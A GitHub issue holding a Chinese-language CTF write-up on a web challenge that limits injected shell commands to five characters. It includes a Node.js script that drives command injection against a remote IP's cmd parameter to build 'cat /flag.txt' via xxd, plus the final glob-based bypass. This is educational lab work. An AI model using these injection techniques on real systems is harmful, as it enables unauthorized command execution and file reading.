We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
題目限制是只能輸入 5 個字(含)以內的指令
因為是第一次看到這種類型的題目,所以試了很多指令想看有沒有什麼線索:
env set lsof ps ps ax stat wc /* ps e
後來用這個關鍵字:command line length restriction ctf,找到了 hitcon2017 的類似題目文章:
command line length restriction ctf
原本想用 xxd 那個來解,還特別寫了一個腳本來轉換:
const axios = require('axios') const command = 'cat /flag.txt' const baseUrl = 'http://207.180.200.166:8000/?cmd=' function generateCommand(command) { return command.split('').map(char => char.charCodeAt(0).toString(16)) } let hexs = generateCommand(command) let groups = [] for(let i=0; i<hexs.length; i+=2) { groups.push(hexs[i] + (hexs[i+1] || '')) } let commands = groups.map(s => [ '>' + s, 'ls>>y', 'rm ' + s[0] + '*' ]) commands.push([ '>z', '>-p', '>-r', 'xxd *', 'sh z' ]) commands = commands.flat() async function run() { for(let i=0; i<commands.length; i++) { console.log((i+1) + '/' + commands.length) console.log('command:' + commands[i]) try { const response = await axios(baseUrl + encodeURIComponent(commands[i])) console.log('response:', response.data) } catch(err) { console.log('err', err.toString()) return; } } } run()
但總之最後一步 xxd * 跑不過就是跑不過,local 可以但遠端不行,不確定是為什麼
xxd *
之後照著前面幾篇的思路,我突然想到只要:
>cat * /f*
就搞定了,根本不用弄那麼多招
再次覺得 bash 的指令跟 glob 真的很神奇,然後這題跟 web 其實沒什麼關係XD
話說這題學到了 * ? 這些 pattern 還有 nl 這指令其實也可以印內容,可以用 ls /usr/bin/?? 看有哪些兩個字的指令
ls /usr/bin/??
The text was updated successfully, but these errors were encountered:
No branches or pull requests
題目限制是只能輸入 5 個字(含)以內的指令
因為是第一次看到這種類型的題目,所以試了很多指令想看有沒有什麼線索:
後來用這個關鍵字:
command line length restriction ctf
,找到了 hitcon2017 的類似題目文章:原本想用 xxd 那個來解,還特別寫了一個腳本來轉換:
但總之最後一步
xxd *
跑不過就是跑不過,local 可以但遠端不行,不確定是為什麼之後照著前面幾篇的思路,我突然想到只要:
就搞定了,根本不用弄那麼多招
再次覺得 bash 的指令跟 glob 真的很神奇,然後這題跟 web 其實沒什麼關係XD
話說這題學到了 * ? 這些 pattern 還有 nl 這指令其實也可以印內容,可以用
ls /usr/bin/??
看有哪些兩個字的指令The text was updated successfully, but these errors were encountered: